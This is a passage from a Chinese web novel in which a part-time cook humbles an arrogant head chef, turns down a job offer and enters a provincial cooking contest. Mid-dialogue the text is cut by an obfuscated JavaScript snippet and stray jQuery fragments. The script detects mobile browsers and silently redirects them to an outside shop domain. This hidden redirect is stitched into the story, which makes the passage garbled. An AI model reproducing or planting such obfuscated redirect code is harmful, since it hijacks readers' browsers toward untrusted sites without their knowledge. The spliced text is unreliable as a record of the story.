整个后厨安静如鸡。
老头是中省美食协会会长，弟子无数，夸人一句的含金量极高。
周永昌的围裙滑到地上，他蹲下去捡，手指发抖，捡了三次才捡起来，抬头时脸上的表情已经从傲慢变成了说不清是羞愧还是茫然，他站在灶台前作了两秒心理斗争，往前走了两步，在乔穗面前站定。
“乔，师傅。”他叫不出全名：“刚才我说的话，我收回。”
最后一个字从嗓子眼里挤出来。
乔穗擦了把手：“你说什么我不在意。”
周永昌的脸涨成猪肝色，他想说什么，嘴张了两下，没找到词，以前他学徒时，大厨骂徒弟天经地义，被骂的低头听训，现在他低头了，对方却连听都没认真听，这才是最难堪的。
周永昌知道了来龙去脉，冷着脸让周永昌做了一遍一样的菜，只尝了一口，便冷哼道：“永昌.......”
“师傅，我知道错了。乔师傅对不起，刚才是我目中无人，请你大人有大量原谅我，以后你在后厨都是你主厨，我给您打下手，您看能原谅我吗？”周永昌一败涂地，心凉了后被师傅骂了一顿，索性脸皮都没了，干脆的道歉了。
乔穗面无表情的擦手上的水珠：“你道歉我就得接受吗？我不接受。”
周永昌脸色一暗。
老头还在看那盘龙虾，虾壳红亮，虾肉白嫩，葱段金黄，他拿筷子指了指虾壳上的红油：“永昌，你看看，虾油是从壳里往外逼还是从外往里灌的，你仔细看看，古法讲究逼鲜不逼腥，这层油是从壳里出来的。这是你们的差距，你得认。”
周永昌盯着那层红油说不出话，他做了二十年龙虾，从来没注意过虾油是从里往外还是从外往里。
老头乔穗说：“老师傅还是懂得多。”
老头摆手：“别叫我老师傅，我叫赵秉义。”他掏出手机：“姑娘，你兼职？有没有兴趣跳槽啊。”
张建国急了：“赵师傅？”
老头眼神亮得像灶火：“姑娘，我那待遇从优，一个月给你五万！”
“这……”乔穗看张老板都快急死了，慢慢说：“这……”
张建国双手合十：“姑奶奶，老周这么放纵，我也有责任，我给你涨工资，一个月六万怎么样？”
乔穗：“这我答应了张老板，不好在跳槽了，谢谢老先生好意。”
赵秉义见此收了手机，虽然遗憾，没再勉强，转换心思：“那小姑娘，今晚是你掌厨，那我必须得尝尝你的全部实力了。”
当天晚上，点了葱爆龙虾的客人把盘子吃得干干净净，盘底的虾油被客人拿馒头蘸干净了。
隔壁桌伸着脖子看了半天，招来服务员：“他们那是什么菜，这么香，给我也来一份。”
第二桌，第三桌，第四桌。
葱爆龙虾当晚卖出四十七份。
因为没虾了！
接下来三天，鸿宾楼门口排起长队，不是以前那种饭点才来的客流，是下午三点就有人在门口等位，接听电话的吧台小姑娘嗓子哑了两天，预约本都写完了，最快空位排到两周后。
一周后，张建国接了通电话，挂掉之后，快步走进后厨，声音压低又压不住上扬，面色激动：“乔师傅，有个人找你，说是省级烹饪比赛邀请你这周六去参加！”
乔穗面露疑惑：“什么烹饪大赛，没听过啊，很厉害吗？”
赵秉义在一旁笑呵呵的，听见省级大赛四个字，走了过来：“终于来电话了？”
乔穗看向赵秉义：“您老知道怎么回事？”
“省级烹饪大赛，五年一次，本省有名气的厨师和年轻有为的青年厨师都会参加，角逐前三参加全国烹饪比赛。省级前三基本上名利双收了，若是拿到国家级前三……”赵秉义笑呵呵的：“我这张老脸在省烹饪协会还有点用，所以推荐你进复赛。”
乔穗闻言想了想，她对冠军没什么执念，但系统给她的厨神技从拿到那天起，她还没真正测试过上限，鸿宾楼的灶台是浅水区，省级赛至少是个能看清自己深度的池子。
乔穗问：“评委有谁啊。”
赵秉义笑了，知道乔穗大概稳了，他这次遇到那几个老家伙，哥哥吹嘘自己收的弟子如何如何厉害，按他的想法，这些人是没吃过乔穗的菜，没见过乔穗，才把那些资质普通的弟子，当做心头好。
所以他和几个老家伙打赌，最后看谁能笑到最后！
“五个，省餐协两个，国宴退下来的老前辈一个，美食评论家一个。”他顿了顿：“还有一个你应该听说过，顾西洲。”
顾西洲？
顶流明星，微博粉丝八千万，拍一部戏带火一座城的那种红，但圈内人都知道他有个老毛病：厌食症。
据说是拍戏留下的后遗症，严重到拍戏时剧组得单独给他备营养针，请他来做烹饪大赛的评委，节目组花了大力气了。
“他吃不进去东西，怎么当评委。”乔穗问。
“就是因为吃不进去。”赵秉义叹了口气：“节目组想拿他做话题，他团队也想借这个平台看能不能找到治愈的机会，前几届比赛他也来过，菜端到他面前闻一下就放下筷子，打分全凭目测，选手背地里骂他零分专业户，但没人敢当面说。”
那和吉祥物没什么区别了。
赵秉义最后追问：“咋样，丫头，参加吗？”
乔穗知道了赛制和评委，最后笑盈盈的看着赵秉义：“老爷子，我要是不参加比赛，岂不是辜负了你的好意？不过，下次还是希望您老能提前和我说，也不用这么匆忙，做什么菜我还没招呢。”
赵秉义被怼了也不生气，笑呵呵的：“嗨呀，这次机会难得，老头子我才给你定下，而且这次靠你的能力，肯定能进前三，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657526|207053||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
名利双收，也不用每天这么辛苦了。放心吧，下次肯定先问你的意见。”
乔穗点点头，露出笑容：“老爷子，我不会丢您的脸的。”
她用了两天定菜单。
家常菜不够打，火候菜容易翻车，配色要高级，工序要有亮点，口味要稳。
她脑子里过了一百多道菜，最后停在脆皮玻璃乳鸽上。
粤菜经典，皮要脆到能照出人影，肉要嫩到咬下去流汁，红亮油润的乳鸽往白瓷盘上一摆，不需要任何配菜撑场面。
工序上脆皮水要刷三遍，风干要卡准时间，油炸要分两次控温，每一个步骤都是考点。
还好饭店有烤炉，乔穗加班加点忙了三个晚上，最后确定了制作方法。
最后脆皮乳鸽出炉的时候，整个厨房香气四溢，安静的听不到一句话，全是吞咽口水的声音，和绿油油的眼睛，厨房门口挤满了顾客都在问什么这么香，要点单！！
赵秉义：“丫头，你冠军稳了！”
……
省级比赛在本市大型文旅园区举行。
园区占地一千多平，分为好几个园区，烹饪比赛在科创CBD区。
乔穗拿着邀请函，拿了比赛的工牌，根据工作人员的指示进去。
乔穗第一次来，新鲜的左看看，右看看，前厅是演播厅，灯光亮得能把人脸上的毛孔照出来，二十个不锈钢操作台整齐排列，现场观众席坐了两百号人，五台摄像机从不同角度对着选手区。
弹幕在舞台侧面的大屏上实时滚动，观众进场时已经在刷，顾西洲粉丝占了半壁江山，剩下的是各家选手的后援团和零星几个美食爱好者。
后厅是选手等待区，附加一个实时大电视。
乔穗分在第二组，她找了个地方坐下。
她旁边是个扎高马尾的年轻女人，那人侧头扫了她一眼，目光从乔穗的马尾扫到帆布运动鞋，嘴角往下撇了一下
“你也是选手？”那女人声音不大不小，刚好够周围几个选手听见
乔穗侧头看高马尾女人，长得寡淡，工牌名字叫罗青青。
乔穗摊开手：“很明显我是。”
“我怎么没见过你”那女人侧过身体，看乔穗胸前没有熟悉的餐厅徽章：“你是哪个师傅门下的？还是自己开店的？”
“我是兼职的大学生。”乔穗微微一笑。
高马尾女人愣了一下，然后笑了，白眼翻到天上了。
“听见没，现在后门门槛真低。”她转头朝旁边助手提高音量：“而且不用参加初赛，直接参加了复赛。”
弹幕瞬间炸了
“啥？？大学生来打酱油的吧。”
“这是烹饪比赛又不是演讲比赛，来错片场了？”
“前面别急着喷，万一人家真有技术呢。”
“笑死，这种一看就是走后门的。”